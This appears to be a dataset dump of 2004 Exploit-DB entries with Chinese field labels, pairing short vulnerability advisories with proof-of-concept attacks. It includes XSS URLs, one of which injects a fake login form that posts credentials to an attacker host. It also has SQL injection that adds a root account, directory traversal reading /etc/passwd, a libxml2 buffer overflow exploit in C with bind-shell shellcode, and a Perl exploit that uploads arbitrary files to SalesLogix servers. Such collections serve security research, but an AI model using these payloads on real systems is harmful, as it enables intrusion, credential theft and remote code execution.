QLWD/code_shield huggingface dataset:
标题: TIPS MailPost 5.1.1 - 'APPEND' Cross-Site Scripting EDB-ID: 24721 CVE: 2004-1100 类型: WEBAPPS 平台: CGI 发布日期: 2004-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/11596/info

MailPost is reported prone to a cross-site scripting vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data and can allow an attacker to execute arbitrary HTML and script code in a user's browser.

This vulnerability may allow for theft of cookie-based authentication credentials or other attacks.

MailPost 5.1.1sv is reported prone to this issue. It is possible that other versions are affected as well.

http://www.example.com/scripts/mailpost.exe?*debug*=''&append=<script>alert('Can%20Cross%20Site%20Script')</script> URL: https://www.exploit-db.com/exploits/24721
标题: Trend Micro ScanMail for Domino 2.51/2.6 - Remote File Disclosure EDB-ID: 24725 CVE: 2004-1003 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-11-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/11612/info

ScanMail for Domino is reported prone to a vulnerability that may allow sensitive configuration files to be disclosed to remote attackers.

A successful attack may allow an attacker to disclose sensitive information and allow the attacker to disable antivirus protection on a gateway allowing potentially malicious email messages to reach internal users. It is conjectured that as malicious emails are delivered to client mail applications that are seemingly protected by the gateway application, a user may be inclined to open the message due to a false sense of security. This issue may result in a malicious code infection.

All versions of ScanMail for Domino are considered to be vulnerable at the moment.

# Written by DokFLeed <dokfleed at dokfleed.net>
# Looking for smency.nsf Trend/Lotus
#
if(description)
{
script_version ("$Revision: 1.3 $");
script_id(14312);
script_name(english:"ScanMail file check"); 
desc["english"] = 
"This script attempts to read sensitive files used by Trend ScanMail,
an anti-virus protection program for Domino (formerly Lotus Notes).
An attacker, exploiting this flaw, may gain access to confidential
data or disable the anti-virus protection.

Risk : Medium";

script_description(english:desc["english"]);
script_summary(english:"Checks for the presence ScanMail files"); 
script_category(ACT_GATHER_INFO); 
script_family(english:"CGI abuses"); 
script_copyright(english:"This script is Copyright (C) 2004 by DokFLeed"); 
script_dependencie("find_service.nes", "http_version.nasl");
script_require_ports("Services/www", 80);
exit(0); 
}

# Start of Code 
include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);

if (!get_port_state(port)) exit(0);

if (http_is_dead(port:port)) exit(0);

files = make_array("/smency.nsf" , "Encyclopedia",
"/smconf.nsf" , "Configuration",
"/smhelp.nsf" , "Help",
"/smftypes.nsf" , "File Types",
"/smmsg.nsf" , "Messages",
"/smquar.nsf" , "Quarantine",
"/smtime.nsf" , "Scheduler",
"/smsmvlog.nsf" , "Log",
"/smadmr5.nsf" , "Admin Add-in");
report = "";
foreach path (keys(files))
{
req = http_get(item:path, port:port);
r = http_keepalive_send_recv(port:port, data:req);

if (r == NULL) exit(0);

if ("Trend ScanMail" >< r)
{
if (!report)
{
report =
"Sensitive files used by Trend ScanMail, an anti-virus protection
program for Domino (formerly Lotus Notes), are readable via the web.
These files might expose confidential data or allow an attacker to
disable the anti-virus protection.

Solution: Password protect access to these files.

The following files were found:
";
}
report += string("\n ", path, " - ", files[path]);
}
}
if (report) security_warning(port:port, data:report); URL: https://www.exploit-db.com/exploits/24725
标题: TIPS MailPost 5.1.1 - Error Message Cross-Site Scripting EDB-ID: 24722 CVE: 2004-1101 类型: WEBAPPS 平台: CGI 发布日期: 2004-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/11598/info

MailPost is reported prone to a cross-site scripting vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data and can allow an attacker to execute arbitrary HTML and script code in a user's browser through a malicious error message returned from the application. 

This attack would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks. 

MailPost 5.1.1sv is reported prone to this issue. It is possible that other versions are affected as well.

http://www.example.com/scripts/mailpost.exe/<script>alert('hi')</script>/mail.txt URL: https://www.exploit-db.com/exploits/24722
标题: TIPS MailPost 5.1.1 - Remote File Enumeration EDB-ID: 24723 CVE: 2004-1102 类型: WEBAPPS 平台: CGI 发布日期: 2004-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/11599/info

TIPS MailPost is affected by a remote file enumeration vulnerability. This issue is due to a failure to properly sanitize user requests.

An attacker may leverage this issue to gain knowledge of the existence of files outside the Web root directory. Information disclosed in this way may facilitate further attacks.

http://www.example.com/scripts/mailpost.exe/..%255c..%255c..%255cwinnt/system.ini?*nosend*=&email=test@procheckup.com URL: https://www.exploit-db.com/exploits/24723
标题: Apple Safari 1.2 Web Browser - TABLE Status Bar URI Obfuscation EDB-ID: 24716 CVE: 2004-1121 类型: REMOTE 平台: OSX 发布日期: 2004-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/11573/info

A URI obfuscation weakness reportedly affects the Apple Safari Web Browser.

This issue may be leveraged by an attacker to display false information in the status bar of an unsuspecting user, allowing an attacker to present web pages to users that seem to originate from a trusted location.

<a href="http://www.example1.com/"><table><tr><td><a
href="http://www.example2.com/">Click here</td></tr></table></a> URL: https://www.exploit-db.com/exploits/24716
标题: Goolery 0.3 - 'viewpic.php?conversation_id' Cross-Site Scripting EDB-ID: 24718 CVE: 2004-2246 类型: WEBAPPS 平台: PHP 发布日期: 2004-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/11587/info

It is reported that Goollery is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input. 

These problems present themselves when malicious HTML and script code is sent to the application through the 'page' parameter of several scripts. 

These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user.

http://www.example.com/goollery/viewpic.php?id=2&conversation_id=ffee00b71f3931a&btopage=<form%20action="http://www.atacker.com/save2db.asp"%20method="post">Username:<input%20na
me="username"%20type="text"%20maxlength="30"><br>Password:<input%20name="password"%20type="text"%20maxlength="30"><br><input%20name="login"%20type="submit"%20value="Login
"></form> URL: https://www.exploit-db.com/exploits/24718
标题: PHP 4.x/5 - cURL 'open_basedir' Restriction Bypass EDB-ID: 24711 CVE: 2004-1392 类型: REMOTE 平台: PHP 发布日期: 2004-10-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/11557/info

It is reported that cURL allows malicious users to bypass 'open_basedir' restrictions in PHP scripts. This issue is due to a failure of the cURL module to properly enforce PHPs 'open_basedir' restriction.

Users with the ability to create or modify PHP scripts on a server computer hosting the vulnerable software can reportedly exploit this vulnerability to bypass the 'open_basedir' restriction, and access arbitrary files with the privileges of the web server. This may aid them in further attacks.

This vulnerability possibly results in a false sense of security, as administrators expect that the restrictions in place prevent malicious users from gaining access to sensitive information.

<?php
$ch = curl_init("file:///etc/parla");
$file=curl_exec($ch);
echo $file
?> URL: https://www.exploit-db.com/exploits/24711
标题: WebHost Automation Helm Control Panel 3.1.x - Multiple Input Validation Vulnerabilities EDB-ID: 24717 CVE: 2004-1499 类型: WEBAPPS 平台: ASP 发布日期: 2004-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/11586/info

Helm Control Panel is reported prone to multiple vulnerabilities. These include an SQL injection issue and an HTML injection vulnerability. A remote attacker can execute arbitrary HTML and script code in a user's browser. Manipulation of SQL queries to reveal or corrupt sensitive database data is possible as well.

Helm Control Panel versions 3.1.19 and prior are reported vulnerable to these issues.

xxxx',10,0); insert into account(accountnumber,accounttype,accountpassword) values('root',0,'');-- URL: https://www.exploit-db.com/exploits/24717
标题: LinuxStat 2.x - Directory Traversal EDB-ID: 24703 CVE: 2004-2640 类型: WEBAPPS 平台: CGI 发布日期: 2004-10-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/11517/info

It is reported that LinuxStat is vulnerable to a directory traversal vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied input.

By including '../' directory traversal sequences in the affected URI argument, attackers may reportedly cause the contents of arbitrary, potentially sensitive web-server readable files to be included in the output of the requested page. The resulting information disclosure may aid malicious users in further attacks.

Versions prior to 2.3.1 are reported to be affected by this vulnerability.

http://www.example.com/lstat/lstat.cgi?obj=wg104&template=../../../../../../../../etc/passwd&from=-1m&to=now URL: https://www.exploit-db.com/exploits/24703
标题: Microsoft Internet Explorer 6 - HTML Form Tags URI Obfuscation EDB-ID: 24714 CVE: 2004-1104 类型: REMOTE 平台: WINDOWS 发布日期: 2004-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/11565/info

Microsoft Internet Explorer is reported prone to a URI obfuscation weakness. The issue is due to a failure of the affected application to properly handle specially crafted HTML anchor URI tags and various form tags.

This issue may be leveraged by an attacker to display false information in the status bar of an unsuspecting user, allowing an attacker to present web pages to users that seem to originate from a trusted location.

This vulnerability is reported to affect Internet Explorer 6 SP2, other versions might also be affected.

<base href="http://www.example1.com">

<a href=><form action="http://www.example2.com"
method="get"><INPUT style="BORDER-RIGHT: 0pt; BORDER-TOP: 0pt;
FONT-SIZE: 10pt; BORDER-LEFT: 0pt;
CURSOR: hand; COLOR: blue; BORDER-BOTTOM: 0pt; BACKGROUND-COLOR:
transparent;TEXT-DECORATION: underline" type=submit
value=http://www.example1.com></form></a>

Another proof of concept exploit has been made available. This method employs the 'id' parameter embedded inside an anchor tag that is controlled by a 'label' tag, allowing the label tag to control what value is presented to an unsuspecting user:

<body style="color: WindowText; background-color: Window;">
<div>IE/OE Restricted Zone Status Bar Spoofing</div>
<div>Tested on Windows XP with SP2 installed.</div>
<p><a id="SPOOF" href="http://www.example.com/?maliciousContents"></a></p>
<div>
<a href="http://www.example.com/?trustedSite">
<table>
<caption>
<a href="http://www.example.com/?trustedSite ">
<label for="SPOOF">
<u style="cursor: pointer; color: blue">
http://www.example.com/?trustedSite
</u>
</label>
</a>
</caption>
</table>
</a>
</div> URL: https://www.exploit-db.com/exploits/24714
标题: ID Software Quake II Server 3.2 - Multiple Vulnerabilities EDB-ID: 24710 CVE: 2004-2592 类型: DOS 平台: MULTIPLE 发布日期: 2004-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/11551/info

Multiple remote vulnerabilities have been reported to affect Quake II. These issues are due to boundary condition checking failures, access validation failures and failures to handle exceptional conditions. 

An attacker may leverage these issues to trigger a denial of service condition, execute arbitrary code, gain access to sensitive server files and rejoin a server that they have been banned from.

cmd download maps/tca-zion.bsp -123456789 URL: https://www.exploit-db.com/exploits/24710
标题: Libxml2 - Multiple Remote Stack Buffer Overflow Vulnerabilities EDB-ID: 24704 CVE: 2004-0989 类型: REMOTE 平台: LINUX 发布日期: 2004-10-26 漏洞利用脚本: // source: https://www.securityfocus.com/bid/11526/info

The 'libxml2' library is reported prone to multiple remote stack-based buffer-overflow vulnerabilities caused by insufficient boundary checks. Remote attackers may exploit these issues to execute arbitrary code on a vulnerable computer. 

The URI parsing functionality and the DNS name resolving code are affected. 

These issues affect libxml2 2.6.12 through 2.6.14. Other versions may also be affected.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

/*
 *  libxml 2.6.12 nanoftp bof POC   infamous42mdAThotpopDOTcom
 *
 *  [n00b@localho.outernet] gcc -Wall libsuxml.c -lxml2
 *  [n00b@localho.outernet] ./a.out
 *  Usage: ./a.out <retaddr> [ align ]
 *  [n00b@localho.outernet] netstat -ant | grep 7000
 *  [n00b@localho.outernet] ./a.out 0xbfff0360
 *  xmlNanoFTPScanURL: Use [IPv6]/IPv4 format
 *  [n00b@localho.outernet] netstat -ant | grep 7000
 *  tcp        0      0 0.0.0.0:7000            0.0.0.0:*               LISTEN
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <libxml/nanoftp.h>

#define die(x) do{ perror((x)); exit(1); }while(0)
#define BS 0x10000
#define NOP 0x90
#define NNOPS 3000
#define ALIGN 0

/* call them */
#define SHELL_LEN (sizeof(sc)-1)
char sc[] =
    "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
    "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
    "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
    "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
    "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
    "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
    "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


/*
 */
int main(int argc, char **argv)
{
    int x = 0, len = 0;
    char    buf[BS] = {'A',};
    long    retaddr = 0, align = ALIGN;

    if(argc < 2){
        fprintf(stderr, "Usage: %s <retaddr> [ align ]\n", argv[0]);
        return EXIT_FAILURE;
    }
    if(sscanf(argv[1], "%lx", &retaddr) != 1)
        die("sscanf");
    if(argc > 2)
        align = atoi(argv[2]);
    if(align < 0 || align > 3)
        die("nice try newblar");

    strncpy(buf, "://[", 4);
    len += 4;
    memset(buf+len, NOP, NNOPS);
    len += NNOPS;
    memcpy(buf+len, sc, SHELL_LEN);
    len += SHELL_LEN;

    len += align;
    for(x = 0; x < 2000 - (sizeof(retaddr) - 1); x += sizeof(retaddr))
        memcpy(buf+len+x, &retaddr, sizeof(retaddr));
    buf[len+x] = ']';
    buf[len+x+1] = 0;

    xmlNanoFTPNewCtxt(buf);

    return EXIT_SUCCESS;
} URL: https://www.exploit-db.com/exploits/24704
标题: Goolery 0.3 - 'viewalbum.php?page' Cross-Site Scripting EDB-ID: 24719 CVE: 2004-2245 类型: WEBAPPS 平台: PHP 发布日期: 2004-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/11587/info
 
It is reported that Goollery is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
 
These problems present themselves when malicious HTML and script code is sent to the application through the 'page' parameter of several scripts.
 
These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user.

http://www.example.com/goollery/viewalbum.php?conversation_id=ffee00b71f3931a&page=<form%20action="http://www.atacker.com/save2db.asp"%20method="post">Username:<input%20name="us
ername"%20type="text"%20maxlength="30"><br>Password:<input%20name="password"%20type="text"%20maxlength="30"><br><input%20name="login"%20type="submit"%20value="Login"></fo
rm>&sess=daf5c642ade1162f15c4eb4b7e89da17

http://www.example.com/goollery/viewalbum.php?conversation_id=ffee00b71f3931a&page=<body>XSS%20poW@!!</body>&sess=daf5c642ade1162f15c4eb4b7e89da17 URL: https://www.exploit-db.com/exploits/24719
标题: Microsoft Windows XP - '.WAV' File Handler Denial of Service EDB-ID: 24699 CVE: 2004-1623 类型: DOS 平台: WINDOWS 发布日期: 2004-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/11503/info

Microsoft Windows XP is reported prone to a denial of service vulnerability. The issue exists due to a lack of sufficient sanitization performed on WAV file header values before they are processed. 

If an exploit attempt is successful, the Windows Explorer process will begin to consume CPU resources. An attacker may exploit this vulnerability to deny service to legitimate users.

00000000 52 49 46 46 42 D0 01 00 57 41 56 45 66 6D 74 20 RIFFB...WAVEfmt
00000010 FF FF FF FF 01 00 02 00 22 56 00 00 88 58 01 00 .........V...X..
00000020 04 00 10 00 00 00 66 61 63 74 04 00 00 00 04 74 ......fact.....t
00000030 00 00 64 61 74 61 10 D0 01 00 ..data.... URL: https://www.exploit-db.com/exploits/24699
标题: Netbilling NBMEMBER Script - Information Disclosure EDB-ID: 24700 CVE: 2004-2732 类型: WEBAPPS 平台: CGI 发布日期: 2004-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/11504/info

Netbilling 'nbmember.cgi' script is reported prone to an information disclosure vulnerability. This issue may allow remote attackers to gain access to user authentication credentials and potentially sensitive configuration information.

http://www.example.com/cgi-bin/nbmember.cgi?cmd=test
http://www.example.com/cgi-bin/nbmember.cgi?cmd=list_all_users&keyword=hereistheaccesskeyword URL: https://www.exploit-db.com/exploits/24700
标题: Microsoft Internet Explorer 5.x - Valid File Drag and Drop Embedded Code (MS04-038) EDB-ID: 24693 CVE: 2005-0053 类型: REMOTE 平台: WINDOWS 发布日期: 2004-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/11466/info

The Microsoft cumulative Internet Explorer patch (MS04-038) attempted to limit what files may be dragged and dropped onto the local computer from the Internet Zone to prevent executable objects from being placed on the file system in this manner. 

However, a number of file types are still permitted for drag and drop operations. It has demonstrated that it is possible to embed hostile HTML and script code in one of these file types, remove the file extension and then allow the operating system to dynamically determine the file type based on its contents.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24693.zip URL: https://www.exploit-db.com/exploits/24693
标题: UBBCentral UBB.Threads 3.4/3.5 - 'Dosearch.php' SQL Injection EDB-ID: 24698 CVE: 2004-1622 类型: WEBAPPS 平台: PHP 发布日期: 2004-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/11502/info

It is reported that UBBCentral UBB.threads is prone to an SQL injection vulnerability. This issue is due to a failure of the application to properly validate user supplied URI input.

Because of this, a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database.

www.example.com/dosearch.php?Name=' OR U_Password='db5c82346d770f48bdd8929094c0c695 
OR 
www.example.com/dosearch.php?Name=' OR U_Password='db5c82346d770f48bdd8929094c0c695'/* URL: https://www.exploit-db.com/exploits/24698
标题: IBM Lotus Domino 6.x - Cross-Site Scripting / HTML Injection EDB-ID: 24690 CVE: 2004-1621 类型: WEBAPPS 平台: UNIX 发布日期: 2004-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/11458/info

It is reported that Lotus Domino is susceptible to a cross-site scripting and an HTML injection vulnerability. These issues are due to a failure of the application to properly sanitize user-supplied input.

The cross-site scripting issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

The HTML injection issue may allow an attacker to inject malicious HTML and script code into the application. An unsuspecting user viewing a page that contains the malicious comment will have the attacker-supplied script code executed within their browser in the context of the vulnerable site. This issue may be leveraged to steal cookie based authentication credentials. Other attacks are also possible.

http://www.example.com/FormReflectingURLValue?OpenForm&Field=%5B%3Cscript%3E%2E%2E%2E%2E%2E%3C%2Fscript%3E%5D URL: https://www.exploit-db.com/exploits/24690
标题: best software SalesLogix 2000.0 - Multiple Vulnerabilities EDB-ID: 24688 CVE: 2004-1612 类型: REMOTE 平台: WINDOWS 发布日期: 2004-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/11450/info

Best Software SalesLogix is affected by multiple vulnerabilities. These issues are due to design errors that reveal sensitive information, access control validation issues that allow unauthorized access and input validation issues facilitating SQL injection attacks.

An attacker may leverage these issues to manipulate and disclose database contents through SQL injection attacks, steal authentication credentials due to information disclosure vulnerabilities and bypass authentication to gain administrator access to the server.

#!/usr/bin/perl
#
# Proof of concept exploit: Arbitrary file creation for SLX server 6.1
#
# Written by Carl Livitt, Agenda Security Services, June 2004.
#
# This exploit abuses the ProcessQueueFile command on SLX 6.1 (others?)
servers
# to create arbitrary files on the filesystem of the SLX server. By
using
# directory traversal, it is possible to escape from the Queue directory
and
# write anywhere on the SLX server's filesystem.
#

use IO::Socket;

print "slx_uploader - Uploads arbitrary files to Sage SalesLogix
servers.\n";
print "By Carl Livitt @ Agenda Security Services, June 2004\n\n";

if($#ARGV!=2) {
        print "Syntax: $0 host filename_to_create file_to_upload\n\n";
        print "Example:\n";
        print "  $0 10.0.0.100
\\\\winnt\\\\system32\\\\drivers\\\\etc\\\\hosts evil.txt\n\n";
        print "The above example would upload the local file 'evil.txt'
to the SLX\n";
        print "server on 10.0.0.100, overwriting the existing hosts
file.\n";
        print "It is possible to upload binary files, e.g. executables,
with this exploit.\n\n";

        exit(1);
} else {
        $host=$ARGV[0];
        $create_file=$ARGV[1];
        $upload_file=$ARGV[2];
}

if((stat($upload_file))[7] > 4096) {
        print "[*] Error! Files to be uploaded must be less than 4k in
size.\n\n";
        exit(1);
}

print "[+] Building payload\n";
$contentLen=43 + length($create_file);
$exploit="\x00"x10 . chr($contentLen) . "\x00"x3 .
"ProcessQueueFile\x00" . "..\\"x8 . "$create_file" . "\x00"x6;

open(UPLOAD, '<', $upload_file) || die "Could not open local file
$upload_file\n";

while(($line=<UPLOAD>)) {
        $exploit.=$line;
}

close(UPLOAD);

print "[+] Connecting to server $host:1707\n";
$sock=IO::Socket::INET->new("$host:1707") || do {print "[-] Could not
connect to server\n"; exit(1); };

print "[+] Sending exploit payload\n";
send($sock,$exploit,0);

print "[+] Waiting for response\n";
$sock->recv($data,1024,0);

if($data =~ /Received/) {
        print "[+] Exploit successful\n";
} else {
        print "[*] Exploit may not have worked.\n";
}

$sock->shutdown(2); URL: https://www.exploit-db.com/exploits/24688